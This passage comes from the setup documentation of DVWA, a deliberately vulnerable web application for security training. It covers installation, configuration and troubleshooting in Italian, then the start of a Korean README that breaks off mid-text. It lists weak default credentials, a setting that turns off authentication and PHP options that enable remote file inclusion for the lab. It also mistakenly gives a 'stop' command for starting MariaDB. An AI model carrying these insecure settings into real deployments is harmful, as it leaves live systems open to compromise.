sviluppata e testata.\n\nNon verrà fornito supporto a chi tenta di utilizzare PHP 5.x.\n\nLe versioni inferiori alla 7.3 presentano problemi noti che possono causare malfunzionamenti: gran parte dell'app funzionerà, ma alcune funzionalità potrebbero comportarsi in modo imprevedibile. A meno che tu non abbia un motivo davvero valido per utilizzare una versione così obsoleta, il supporto non sarà garantito.\n\n### Pacchetti Linux\n\nSe stai usando una distribuzione Linux basata su Debian, saranno necessari i seguenti pacchetti _(o loro equivalenti)_:\n\n- apache2\n- libapache2-mod-php\n- mariadb-server\n- mariadb-client\n- php php-mysqli\n- php-gd\n\nRaccomanderei di fare un update prima di scaricarli, in modo tale da avere sicuramente l'ultima versione di tutto.\n\n```sh\napt update\napt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php\n```\n\nIl sito funzionerà con MySQL invece di MariaDB ma incoraggiamo vivamente MariaDB poiché funziona out of the box. Con MYSQL è necessario fare dei cambiamenti affinché funzioni.\n\n### Moduli Apache\n\nSe si vuole usare il lab API è necessario avere il modulo Apache `mod_rewrite` abilitato. Per fare questo in linux eseguire:\n\n```\na2enmod rewrite\n```\n\nPoi riavviare Apache con:\n\n```\napachectl restart\n```\n\n### File sellers\n\nSe si vuole usare il modulo API sarà necessario scaricare un insieme di file sellers usando [Composer](https://getcomposer.org/).\n\nIn primo luogo, assicurarsi di avere Composer installato. Sembrano esserci problemi di incompatibilità tra le versioni. Io ottengo le versioni più recenti da qui:\n\nhttps://getcomposer.org/doc/00-intro.md\n\nSeguire le istruzioni del sito per installare Composer.\n\nPoi andare dentro la cartella `vulnerabilities/api` ed eseguire:\n\n```\ncomposer.phar install\n```\n\nSe non si è scaricato Composer nella cartella di sistema, assicurarsi di avere come riferimento il percorso completo.\n\n## Configurations\n\n### Config File\n\nDVWA viene fornito con una copia fittizia del suo file di configurazione, che dovrai copiare nella posizione corretta e poi modificare opportunamente. Su Linux, assumendo che tu sia nella directory di DVWA, questo può essere fatto come segue:\n\n\n`cp config/config.inc.php.dist config/config.inc.php`\n\nSu Windows, questo può essere un po’ più complicato se le estensioni dei file sono nascoste. Se non si è sicuri di questo aspetto, questo articolo del blog lo spiega più nel dettaglio:\n\n[Come mostrare l'estensione dei file su Windows](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/)\n\n### Configurazione con variabili di ambiente\n\nInvece di modificare il file di configurazione, puoi anche impostare la maggior parte delle opzioni utilizzando delle variabili d'ambiente. In un deployment Docker o Kubernetes, questo ti permette di modificare la configurazione senza dover creare una nuova immagine Docker. Troverai le variabili nel [config/config.inc.php.dist](config/config.inc.php.dist) file.\n\nSe si desidera impostare il livello di sicurezza su \"basso\", aggiungere semplicemente la seguente linea al file [compose.yml](./compose.yml):\n\n```yml\nenvironment:\n  - DB_SERVER=db\n  - DEFAULT_SECURITY_LEVEL=low\n```\n\n### Setup Del Database\n\nPer fare il setup del database, semplicemente cliccare sul bottone `Setup DVWA` nel menu principale, poi cliccare il bottone `Create / Reset Database`. Questo creerà / resetterà il database per te con un po' di dati al suo interno.\n\nQualora si riceva un errore durante la creazione del database, assicurarsi di aver inserito delle credenziali corrette dentro `./config/config.inc.php`. _Questo è diverso da config.inc.php.dist, è solo un file di esempio._\n\nLe variabili sono settate ai seguenti valori di default:\n\n```php\n$_DVWA[ 'db_server'] = '127.0.0.1';\n$_DVWA[ 'db_port'] = '3306';\n$_DVWA[ 'db_user' ] = 'dvwa';\n$_DVWA[ 'db_password' ] = 'p@ssw0rd';\n$_DVWA[ 'db_database' ] = 'dvwa';\n```\n\nNota, se si sta usando MariaDB invece di MySQL (MariaDB è il default in Kali), non si può usare l'utente root del database, bisogna creare un nuovo utente del database. Per fare questo, connettersi al database come utente root e usare i seguenti comandi:\n\n```mariadb\nMariaDB [(none)]> create database dvwa;\nQuery OK, 1 row affected (0.00 sec)\n\nMariaDB [(none)]> create user dvwa@localhost identified by 'p@ssw0rd';\nQuery OK, 0 rows affected (0.01 sec)\n\nMariaDB [(none)]> grant all on dvwa.* to dvwa@localhost;\nQuery OK, 0 rows affected (0.01 sec)\n\nMariaDB [(none)]> flush privileges;\nQuery OK, 0 rows affected (0.00 sec)\n```\n\n### Disabilitare L'Autenticazione\nAlcuni strumenti non funzionano bene con l'autenticazione quindi non possono essere usati con DVWA. Per risolvere questo, c'è un'impostazione di configurazione per disabilitare il controllo dell'autenticazione. Per farlo, bisogna semplicemente settare il seguente flag nel file di configurazione\n\n```php\n$_DVWA[ 'disable_authentication' ] = true;\n```\nSarà anche necessario impostare il livello di sicurezza su uno che sia appropriato sul livello di test che si vuole fare:\n\n```php\n$_DVWA[ 'default_security_level' ] = 'low';\n```\n\nIn questo caso, si può accedere a tutte le features senza il bisogno di essere loggati o senza alcun cookie.\n\n### Cartella Permessi\n\n- `./hackable/uploads/` - È necessario che sia scrivibile dal Web Service (per il File Upload).\n\n### Configurazione PHP\n\nSui sistemi Linux, probabilmente si trova in `/etc/php/x.x/fpm/php.ini` o `/etc/php/x.x/apache2/php.ini`.\n\n- Per abilitare il Remote File Inclusions (RFI):\n  - `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)]\n  - `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)]\n\n- Per essere sicuri che PHP mostri tutti i messaggi di errore:\n  - `display_errors = on` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)]\n  - `display_startup_errors = on` [[display_startup_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-startup-errors)]\n\nÈ necessario riavviare il servizio php o Apache dopo aver effettuato i cambiamenti.\n\n### reCAPTCHA\n\nÈ necessario eseguire quanto riportato qui sotto solo per il laboratorio \"CAPTCHA insicuro\", se non si vuole usare con quel laboratorio, si può ignorare questo capitolo.\n\nGenerare un paio di chiavi da <https://www.google.com/recaptcha/admin/create>.\n\nPoi andare nelle seguenti sezioni di `./config/config.inc.php`:\n\n- `$_DVWA[ 'recaptcha_public_key' ]`\n- `$_DVWA[ 'recaptcha_private_key' ]`\n\n### Credenziali Di Default\n\n**Default username = `admin`**\n\n**Default password = `password`**\n\n_...può essere bruteforzato facilmente ;)_\n\nURL DI LOGIN: <http://127.0.0.1/login.php>\n\n_Nota: Questo sarà differente se si è installato DVWA in una cartella differente._\n\n- - -\n\n## Risoluzione Di Problemi\n\nSi presume che si stia utilizzando una distribuzione basata su Debian, come Debian, Ubuntu o Kali. Per altre distribuzioni, si può comunque seguire la guida, aggiornando i comandi dove opportuno.\n\nSe si preferisce guardare un video anziché leggere, i problemi più comuni vengono trattati nel video [Fixing DVWA Setup Issues](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F).\n\n### Containers\n\n#### Vorrei accedere i log\n\nSe si sta usando Docker Desktop, i log possono essere acceduti dall'applicazione grafica. Alcuni cambiamenti minori ci possono essere nelle versioni più recenti ma il metodo di accesso dovrebbe essere il medesimo.\n\n![Overview of DVWA compose](./docs/graphics/docker/overview.png)\n![Viewing DVWA logs](docs/graphics/docker/detail.png)\n\nI log possono essere anche acceduti dal terminale.\n\n1. Aprire un terminale e cambiare la cartella di lavoro di DVWA.\n2. Mostrare i log uniti\n\n    ```sh\n    docker compose logs\n    ```\n\n   In caso si vogliano esportare i log, i.e. `dvwa.log`\n\n   ```sh\n   docker compose logs > dvwa.log\n   ```\n\n#### Voglio eseguire DVWA in un'altra porta\n\nNon si utilizza la porta 80 come predefinita per alcuni motivi:\n\n- Alcuni utenti potrebbero avere già qualcosa in esecuzione sulla porta 80.\n- Alcuni utenti potrebbero usare un container senza privilegi (come Podman), e la porta 80 è una porta privilegiata (< 1024). Sarebbe necessaria una configurazione aggiuntiva (ad esempio impostare `net.ipv4.ip_unprivileged_port_start`) è necessario, ma su questo bisognerà informarsi autonomamente.\n\nSi può esporre DVWA su una porta diversa modificando l'associazione della porta nel file `compose.yml`.\nPer esempio, si può cambiare\n\n```yml\nports:\n  - 127.0.0.1:4280:80\n```\n\nin\n\n```yml\nports:\n  - 127.0.0.1:8806:80\n```\n\nDVWA è ora accessibile a `http://localhost:8806`.\n\nNei casi in cui si desideri che DVWA sia accessibile non solo dal proprio dispositivo, ma anche dalla rete locale (ad esempio perché si sta configurando una macchina di test per un workshop), si può rimuovere il `127.0.0.1:` dall’associazione delle porte (oppure sostituirlo con l’indirizzo IP della propria LAN). In questo modo, l'applicazione ascolterà su tutte le interfacce di rete disponibili.\n\nLa scelta predefinita e più sicura dovrebbe comunque essere quella di limitare l’ascolto al solo dispositivo locale (loopback). In fin dei conti, si tratta di un'applicazione web deliberatamente vulnerabile, in esecuzione sulla propria macchina.\n\n437\n\nIl file incluso [`compose.yml`](./compose.yml) esegue automaticamente DVWA e il suo database quando Docker viene inizializzato.\n\nPer disabilitare questa funzione, si può eliminare o commentare la linea `restart: unless-stopped` nel file [`compose.yml`](./compose.yml)\n\nSe si vuole disabilitare questo comportamento temporaneamente, si può eseguire `docker compose stop`, o usare Docker Desktop, trovare `dvwa` e cliccare Stop.\nAddizionalmente, si possono eliminare i container oppure eseguire `docker compose down`.\n\n### File di log\n\nSui sistemi Linux Apache genera due file di log di default, `access.log` e `error.log` e sui sistemi Debian sono solitamente nella cartella `/var/log/apache2/`.\n\nDurante la segnalazione di errori, problemi o qualsiasi cosa del genere, per favore includere almeno cinque linee da ognuno di questi file. Sui sistemi basati su Debian si possono ottenere questi file così\n\n```sh\ntail -n 5 /var/log/apache2/access.log /var/log/apache2/error.log\n```\n\n### Navigando sul sito ho ottenuto un errore 404 o la pagina predefinita di Apache2\n\n[Video di aiuto](https://youtu.be/C-kig5qrPSA?si=wTS3Aj8fycW3Idfr&t=141)\n\nSe si sta avendo questo problema bisogna capire come funziona la posizione dei file. Di default, la root dei documenti di Apache (il posto in cui comincia a cercare i documenti) è `/var/www/html`, Se si posiziona il file `hello.txt` in questa cartella, per accedere questo file sarà necessario navigare a `http://localhost/hello.txt`.\n\nSe si è creata una cartella e messi i file lì dentro - `/var/www/html/mydir/hello.txt` - si avrà bisogno di navigare a `http://localhost/mydir/hello.txt`.\n\nLinux è attento alle maiuscole e minuscole, se non si fa attenzione si può ottenere un errore `404 Not Found`:\n\n- `http://localhost/MyDir/hello.txt`\n- `http://localhost/mydir/Hello.txt`\n- `http://localhost/MYDIR/hello.txt`\n\nChe effetto ha questo su DVWA? Diverse persone usano git per clonare DVWA in `/var/www/html`, questo crea la cartella `/var/www/html/DVWA/` con tutti i file al suo interno. Successivamente navigano `http://localhost/` e ottengono o `404` o la pagina predefinita di Apache. Poiché i file sono in DVWA bisogna navigare in `http://localhost/DVWA`.\n\nL'altro errore comune è quello di navigare su `http://localhost/dvwa`, il che porta a un errore `404` perché `dvwa` non è `DVWA`, dato che in Linux si fa distinzione tra maiuscole e minuscole nei nomi delle directory.\n\nQuindi, dopo l'installazione, se si prova a visitare il sito e si riceve un errore `404`, si deve riflettere su dove sono stati installati i file, su dove si trovano rispetto alla radice del documento e su come siano scritte le lettere della directory usata.\n\n### Navigando la pagina ho ottenuto uno schermo vuoto\n\n[Video d'aiuto](https://youtu.be/C-kig5qrPSA?si=wTS3Aj8fycW3Idfr&t=243)\n\nQuesto è di solito un problema di configurazione che ne nasconde un altro. Di default, PHP non mostra gli errori, e quindi, se ci si è dimenticati di attivare la visualizzazione degli errori durante il processo di configurazione, qualsiasi altro problema, come un fallimento nella connessione al database, impedirà all'applicazione di caricarsi, ma il messaggio che dice cosa non va sarà nascosto.\n\nPer sistemare questo, bisogna essere sicuri di impostare `display_errors` e `display_startup_errors` come discusso in [Configurazione di PHP](#configurazione-php) e poi riavviare Apache.\n\n### \"Access denied\" mentre si esegue il setup\n\nSe si vede quanto segue durante l'esecuzione dello script di configurazione, significa che il nome utente o la password nel file di configurazione non corrispondono a quelli configurati nel database.\n[Video d'aiuto](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=973)\n\n```mariadb\nDatabase Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES).\n```\n\nL'errore sta dicendo che si sta usando lo username `notdvwa`.\n\nIl seguente errore dice che si è scritto il file di configurazione al database sbagliato. [Video d'aiuto](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=630)\n\n```mariadb\nSQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa'\n```\n\nQuesto errore sta invece dicendo che l'utente `dvwa` sta provando a connettersi al database `notdvwa`.\n\nLa prima cosa da fare è ricontrollare che ciò che si pensa di aver inserito nel file di configurazione sia effettivamente quello che è presente.\n\nSe corrisponde a quanto ci si aspetta, la cosa successiva da fare è verificare se si riesce ad accedere come l’utente voluto da linea di comando. Supponendo di avere un utente del database chiamato `dvwa` e una password di `p@ssw0rd`, eseguire il seguente comando:\n\n```sh\nmysql -u dvwa -pp@ssw0rd -D dvwa\n```\n\n_Nota: non c'è uno spazio dopo -p_\n\nSe si vede il seguente output, il codice è corretto:\n\n```mariadb\nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 14\nServer version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [dvwa]>\n```\n\n\n\nPoiché si riesce a connettersi dalla riga di comando, è probabile che ci sia qualcosa di sbagliato nel file di configurazione, lo si ricontrolli attentamente e poi si apra un issue se ancora non si riesce a far funzionare le cose.\n\nSe si vede quanto segue, il nome utente o la password che si sta usando è sbagliato. Si ripetano i passaggi della [Database Setup](#database-setup) e ci si assicuri di usare lo stesso nome utente e la stessa password per tutto il processo.\n\n```mariadb\nERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES)\n```\n\nSe si ottiene quanto segue, le credenziali dell'utente sono corrette ma l'utente non ha accesso al database. Anche in questo caso, si ripetano i passaggi di configurazione e si controlli il nome del database che si sta usando.\n\n```mariadb\nERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa'\n```\n\nL'errore finale che si potrebbe ottenere è questo:\n\n```mariadb\nERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)\n```\n\nQuesto non è un errore di autenticazione ma dice che il server del database non è in esecuzione. Si può avviarlo con il seguente comando.\n\n```sh\nsudo service mysql start\n```\n\n### Connessione rifiutata\n\n[Video d'aiuto](https://youtu.be/C-kig5qrPSA?si=_a4Bop505-1tXb_F&t=444)\n\nUn errore simile a questo:\n\n```mariadb\nFatal error: Uncaught mysqli_sql_exception: Connection refused in /var/sites/dvwa/non-secure/htdocs/dvwa/includes/dvwaPage.inc.php:535\n```\n\nSignifica che il server del database non è in esecuzione oppure si ha l'indirizzo ip errato nel file di configurazione.\n\nControllare questa linea nel file di configurazione per vedere dove il server del database dovrebbe essere:\n\n```php\n$_DVWA[ 'db_server' ]   = '127.0.0.1';\n```\n\nPoi andare a questo server e controllare che sia in esecuzione. In linux si può fare questo con:\n\n```sh\nsystemctl status mariadb.service\n```\n\nE si deve cercare qualcosa del genere, la cosa importante è che dica qualcosa come `active (running)`.\n\n```sh\n● mariadb.service - MariaDB 10.5.19 database server\n     Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; preset: enabled)\n     Active: active (running) since Thu 2024-03-14 16:04:25 GMT; 1 week 5 days ago\n```\n\nSe non è in esecuzione, si può avviare con:\n\n```sh\nsudo systemctl stop mariadb.service \n```\n\nNota `sudo` e assicurarsi di mettere la password di Linux se richiesto.\n\nIn Windows, controllare lo status nella console XAMPP.\n\n### Metodo Di Autenticazione Sconosciuto\n\nCon le versioni più recenti di MySQL, non è più possibile far comunicare PHP con il database nella sua configurazione predefinita. Se si prova a eseguire lo script di installazione e viene visualizzato il seguente messaggio, significa che è stata configurata una configurazione.\n\n\n```mariadb\nDatabase Error #2054: The server requested authentication method unknown to the client.\n```\n\nSi hanno due opzioni, la più semplice è disinstallare MySQL e installare MariaDB. La seguente è la guida ufficiale dal progetto di MariaDB:\n\n<https://mariadb.com/resources/blog/how-to-migrate-from-mysql-to-mariadb-on-linux-in-five-steps/>\n\nAlternativamente, seguire questi passi:\n\n1. Da utente root, modificare il seguente file: `/etc/mysql/mysql.conf.d/mysqld.cnf`\n1. Sotto la linea `[mysqld]`, aggiungere:\n  `default-authentication-plugin=mysql_native_password`\n1. Riavviare il database: `sudo service mysql restart`\n1. Controllare il metodo di autenticazione per l'utente del database:\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------------------+-----------------------+\n    | Host      | User             | plugin                |\n    +-----------+------------------+-----------------------+\n    | localhost | dvwa             | caching_sha2_password |\n    +-----------+------------------+-----------------------+\n    1 rows in set (0.00 sec)\n    ```\n1. Si vedrà verosimilmente `caching_sha2_password`. Se sì, eseguire eseguire i seguenti comandi:\n\n    ```sql\n    mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd';\n    ```\n\n1. Ri-eseguendo i controlli, si dovrebbe ora vedere\n`mysql_native_password`.\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------+-----------------------+\n    | Host      | User | plugin                |\n    +-----------+------+-----------------------+\n    | localhost | dvwa | mysql_native_password |\n    +-----------+------+-----------------------+\n    1 row in set (0.00 sec)\n    ```\n\nDopo tutto, il processo di inizializzazione dovrebbe funzionare normalmente.\n\nSe si vogliono più informazioni vedere la seguente pagina:\n<https://www.php.net/manual/en/mysqli.requirements.php>.\n\n### Errore Del Database #2002: No such file or directory\n\nIl server del database non è in esecuzione. In un sistema basato su Debian questo si può risolvere con:\n\n```sh\nsudo service mysql start\n```\n\n### Errori \"MySQL server has gone away\" e \"Packets out of order\"\n\nCi sono diverse ragioni per cui si può ricevere questi errori, ma la più probabile è che la versione del server database che si sta utilizzando non è compatibile con la versione di PHP.\n\nQuesto problema si riscontra più comunemente quando si utilizza l’ultima versione di MySQL, poiché PHP e MySQL non funzionano bene insieme. Il consiglio migliore è abbandonare MySQL e installare MariaDB, poiché questo è un problema che non possiamo supportare.\n\nPer più informazioni, vedere:\n\n<https://www.ryadel.com/en/fix-mysql-server-gone-away-packets-order-similar-mysql-related-errors/>\n\n### Perché il database non si connette a CentOS?\n\nSi potrebbero star riscontrando problemi con SELinux. Si può sia disabilitare SELinux oppure eseguire il seguente comando che consente di far comunicare il web server con il database:\n\n```sh\nsetsebool -P httpd_can_network_connect_db 1\n```\n\n### Qualsiasi Altra Cosa\n\n\nPer le informazioni più aggiornate sulla risoluzione dei problemi, si prega di leggere sia i ticket aperti che quelli chiusi nel repository Git:\n\n<https://github.com/digininja/DVWA/issues>\n\nPrima di inviare un ticket, assicurati di utilizzare l’ultima versione del codice dal repository. Questa non è l’ultima release, ma l’ultima versione del codice dal ramo master.\n\nQuando si apre un ticket, si prega di fornire almeno le seguenti informazioni:\n\n-Sistema operativo\n-Le ultime 5 righe del log degli errori del server web subito dopo che si è verificato l’errore che stai segnalando\n-Se si tratta di un problema di autenticazione al database, segui i passaggi indicati sopra e fai uno screenshot di ogni passaggio. Invia questi screenshot insieme a uno screenshot della sezione del file di configurazione che mostra l’utente e la password del database.\n-Una descrizione completa di cosa sta andando storto, cosa ti aspetti che accada e cosa hai provato a fare per risolverlo. \"Login non funziona\" non è sufficiente per permetterci di capire il tuo problema e aiutarti a risolverlo.\n\n- - -\n\n## Tutorials\n\nCercherò di realizzare alcuni video tutorial che illustrino alcune vulnerabilità e mostrino come individuarle e poi come sfruttarle. Ecco quelli che ho realizzato finora:\n\n[Trovare e Sftruttare Reflected XSS](https://youtu.be/V4MATqtdxss)\n\n- - -\n\n## SQLite3 SQL Injection\n\nIl supporto per questo è limitato; prima di segnalare problemi, assicurati di essere pronto a lavorare sul debug, non limitarti a dire “non funziona”.\n\nPer impostazione predefinita, gli attacchi SQLi e Blind SQLi vengono eseguiti contro il server MariaDB/MySQL utilizzato dal sito, ma è possibile passare a eseguire i test SQLi su SQLite3.\n\nNon spiegherò come far funzionare SQLite3 con PHP, ma dovrebbe essere sufficiente installare il pacchetto `php-sqlite3` e assicurarsi che sia abilitato.\n\nPer effettuare il cambio, modifica semplicemente il file di configurazione aggiungendo o modificando queste righe:\n\n```php\n$_DVWA[\"SQLI_DB\"] = \"sqlite\";\n$_DVWA[\"SQLITE_DB\"] = \"sqli.db\";\n```\n\nDi default viene usato il file `database/sqli.db`, qualora si abbiano problemi, semplicemente copiare `database/sqli.db.dist` in alto.\n\nLe challenge sono esattamente quelle come per MariaDB, tuttavia ora utilizzano SQLite3.\n\n- - -\n\n👨‍💻 Contributors\n-----\n\nGrazie per tutti i vostri contributi e per mantenere aggiornato questo progetto. :heart:\n\nSe hai un'idea, qualche tipo di miglioramento o semplicemente vuoi collaborare, sei il benvenuto a contribuire e partecipare al progetto. Sentiti libero di inviare una pull request.\n\n<p align=\"center\">\n<a href=\"https://github.com/digininja/DVWA/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=digininja/DVWA&max=500\">\n</a>\n</p>\n\n- - -\n\n## Segnalare Vulnerabilità\n\nPer essere semplici, non fatelo!\n\nCirca una volta all’anno, qualcuno invia un report riguardo a una vulnerabilità trovata nell’applicazione. Alcuni di questi report sono ben scritti, a volte persino meglio di quelli che ho visto in test di penetrazione a pagamento; altri si limitano a dire “mancano degli header, pagatemi”.\n\nNel 2023, la cosa ha raggiunto un nuovo livello quando qualcuno ha deciso di richiedere un CVE per una delle vulnerabilità, ottenendo [CVE-2023-39848](https://nvd.nist.gov/vuln/detail/CVE-2023-39848). Ne è seguito molto divertimento e si è perso tempo per sistemare la questione.\n\nL’applicazione contiene vulnerabilità, ed è voluto. La maggior parte sono quelle ben documentate che si affrontano come esercizi, altre sono vulnerabilità “nascoste”, da scoprire autonomamente. Se vuoi davvero dimostrare le tue capacità trovando quelle extra, scrivi un post sul blog o crea un video: probabilmente ci sono persone interessate ad apprendere come le hai individuate. Se ci mandi il link, potremmo anche includerlo tra i riferimenti.\n\n## Link\n\nHome del progetto: <https://github.com/digininja/DVWA>\n\n_Creato dal team DVWA_\n\n\n"
  },
  {
    "path": "README.ko.md",
    "content": "# DAMN VULNERABLE WEB APPLICATION\n\nDamn Vulnerable Web Application (DVWA)은 매우 취약한 PHP/MySQL 웹 애플리케이션입니다. DVWA의 주요 목표는 보안 전문가들이 자신의 기술과 도구를 합법적인 환경에서 테스트하고, 웹 개발자들이 웹 애플리케이션 보안 프로세스를 더 잘 이해하도록 돕는 것입니다. 또한, 학생과 교사들이 통제된 교실 환경에서 웹 애플리케이션 보안에 대해 배우는 데 도움을 주고자 합니다.\n\nDVWA의 목표는 **가장 흔한 웹 취약점들에 대한 연습**을 **다양한 난이도로 제공하는 것**입니다. 간단하고 직관적인 인터페이스를 갖추고 있습니다. 이 소프트웨어에는 **문서화된 취약점과 문서화되지 않은 취약점**이 모두 존재합니다. 이는 의도적인 것으로, 가능한 많은 문제를 발견해 보시기를 권장합니다.\n- - -\n\n## 주의!\n\nDamn Vulnerable Web Application은 매우 취약합니다! **호스팅 제공자의 공개 html 폴더나 인터넷에 노출된 서버에 업로드하지 마십시오.** 그렇지 않으면 서버가 침해될 수 있습니다. 가상 머신(예: [VirtualBox](https://www.virtualbox.org/) or [VMware](https://www.vmware.com/))을 사용하고 NAT 네트워킹 모드로 설정하는 것이 좋습니다. 게스트 머신 내에서 [XAMPP](https://www.apachefriends.org/)를 다운로드하여 웹 서버와 데이터베이스를 설치할 수 있습니다.\n\n### 면책 조항\n\n우리는 DVWA의 사용 방식에 대해 책임을 지지 않습니다. 애플리케이션의 목적은 명확히 설명되어 있으며, 악의적으로 사용해서는 안 됩니다. 사용자가 DVWA를 라이브 웹 서버에 설치하지 않도록 경고와 조치를 취했습니다. DVWA 설치를 통해 웹 서버가 침해된 경우, 이는 설치한 개인의 책임입니다.\n\n- - -\n\n## 라이선스\n\n이 파일은 Damn Vulnerable Web Application (DVWA)의 일부입니다.\n\nDamn Vulnerable Web Application (DVWA)은 자유 소프트웨어입니다: 귀하는 이를 재배포하거나 수정할 수 있으며, GNU 일반 공중 사용 허가서(GNU General Public License) 버전 3 또는 (옵션으로) 그 이후 버전의 조건에 따라 이를 사용할 수 있습니다.\n\nDamn Vulnerable Web Application (DVWA)은 유용할 것이라는 희망으로 배포되지만, 어떠한 형태의 보증도 제공하지 않습니다. 상업성이나 특정 목적에의 적합성에 대한 묵시적인 보증도 포함되지 않습니다. 자세한 내용은 GNU 일반 공중 사용 허가서를 참조하십시오.\n\nDamn Vulnerable Web Application (DVWA)와 함께 GNU 일반 공중 사용 허가서 사본을 받았어야 합니다. 그렇지 않다면 <https://www.gnu.org/licenses/>에서 확인하십시오.\n\n- - -\n\n## 국제화\n이 파일은 여러 언어로 제공됩니다:\n- 스페인어: [Espaol](README.es.md)\n- 아랍어: [العربية](README.ar.md)\n- 영어: [English](README.md)\n- 인도네시아어: [Indonesia](README.id.md)\n- 중국어: [简体中文](README.zh.md)\n- 터키어: [Trke](README.tr.md)\n- 페르시아어: [فارسی](README.fa.md)\n- 포르투갈어: [Portugus](README.pt.md)\n- 프랑스어: [Franais](README.fr.md)\n- 한국어: [한국어](README.ko.md)\n\n번역에 기여하고자 한다면 PR을 제출해 주십시오. 단, 구글 번역기를 사용한 번역은 거부됩니다. 번역본을 제출하려면, 번역된 'README.xx.md' 파일을 추가하십시오. 여기서 xx는 원하는 언어의 두 글자 코드([ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes) 기반)입니다.\n\n## 다운로드\n\nDVWA에는 여러 가지 버전이 있지만, 유일하게 지원되는 버전은 공식 GitHub 저장소에서 제공하는 최신 소스입니다. 저장소에서 클론할 수 있습니다:\n\n```\ngit clone https://github.com/digininja/DVWA.git\n```\n\n또는 [파일의 ZIP을 다운로드](https://github.com/digininja/DVWA/archive/master.zip)할 수 있습니다.\n\n- - -\n\n## 설치\n\n### 자동 설치 🛠️\n\n**참고: 이것은 공식 DVWA 스크립트가 아니며, [IamCarron](https://github.com/iamCarron/)에 의해 작성되었습니다. 스크립트를 작성하는 데 많은 노력이 들어갔으며, 작성 당시에는 악의적인 행동을 하지 않았지만, 시스템에서 무작정 실행하기 전에 스크립트를 검토하는 것이 좋습니다. 버그가 발견되면 이곳이 아닌 [IamCarron](https://github.com/iamCarron/)에게 보고해 주세요.**\n\nDebian 기반 머신(Kali, Ubuntu, Kubuntu, Linux Mint, Zorin OS 등)에서 DVWA를 자동으로 구성하는 스크립트입니다.\n\n**참고: 이 스크립트는 루트 권한이 필요하며 Debian 기반 시스템에 맞춰져 있습니다. 반드시 루트 사용자로 실행하세요.**\n\n#### 설치 요구 사항\n\n- **운영 체제:** Debian 기반 시스템 (Kali, Ubuntu, Kubuntu, Linux Mint, Zorin OS)\n- **권한:** 루트 사용자로 실행\n\n#### 설치 단계\n\n1. **스크립트 다운로드:**\n   ```bash\n   wget https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh\n   ```\n\n2. **스크립트 실행 권한 부여:**\n   ```bash\n   chmod +x Install-DVWA.sh\n   ```\n\n3. **루트로 스크립트 실행:**\n   ```bash\n   sudo ./Install-DVWA.sh\n   ```\n\n### 설치 동영상\n\n- [VirtualBox에서 실행 중인 Kali에 DVWA 설치](https://www.youtube.com/watch?v=WkyDxNJkgQ4)\n- [Windows에서 XAMPP를 사용하여 DVWA 설치](https://youtu.be/Yzksa_WjnY0)\n- [Windows 10에 Damn Vulnerable Web Application (DVWA) 설치](https://www.youtube.com/watch?v=cak2lQvBRAo)\n\n### Windows + XAMPP\n\n가장 쉬운 DVWA 설치 방법은 [XAMPP](https://www.apachefriends.org/)를 다운로드하여 설치하는 것입니다. 이미 웹 서버가 설정되어 있지 않은 경우에 유용합니다.\n\nXAMPP는 Linux, Solaris, Windows 및 Mac OS X용으로 설치하기 쉬운 Apache 배포판입니다. 이 패키지에는 Apache 웹 서버, MySQL, PHP, Perl, FTP 서버 및 phpMyAdmin이 포함되어 있습니다.\n\n이 [비디오](https://youtu.be/Yzksa_WjnY0)는 Windows에 대한 설치 과정을 안내하지만, 다른 OS에서도 유사할 것입니다.\n\n### Docker\n\n[hoang-himself](https://github.com/hoang-himself)와 [JGillam](https://github.com/JGillam) 덕분에 `master` 브랜치에 대한 모든 커밋은 Docker 이미지를 빌드하고 GitHub Container Registry에서 내려받을 수 있게 합니다.\n\n얻을 수 있는 것에 대한 자세한 내용은 [사전 빌드된 Docker 이미지](https://github.com/digininja/DVWA/pkgs/container/dvwa)를 참조하십시오.\n\n#### 시작하기\n\n선행 요건: Docker 및 Docker Compose.\n\n- Docker Desktop을 사용하는 경우, 두 가지가 이미 설치되어 있어야 합니다.\n- Linux에서 Docker Engine을 선호하는 경우, [설치 가이드](https://docs.docker.com/engine/install/#server)를 따라 설치하세요.\n\n**위에서 언급한 최신 Docker 릴리스에 대한 지원을 제공합니다.**\nLinux에서 패키지 관리자를 통해 제공된 Docker 패키지를 사용하는 경우에도 작동할 가능성이 있지만, 지원은 최선의 노력을 다합니다.\n\n패키지 관리자 버전에서 업스트림으로 Docker를 업그레이드하려면 [Ubuntu](https://docs.docker.com/engine/install/ubuntu/#uninstall-old-versions), [Fedora](https://docs.docker.com/engine/install/fedora/#uninstall-old-versions) 등에서 설명하는 대로 이전 버전을 제거해야 합니다.\nDocker 데이터(컨테이너, 이미지, 볼륨 등)는 영향을 받지 않아야 하지만 문제가 발생하면 [Docker에 알리고](https://www.docker.com/support) 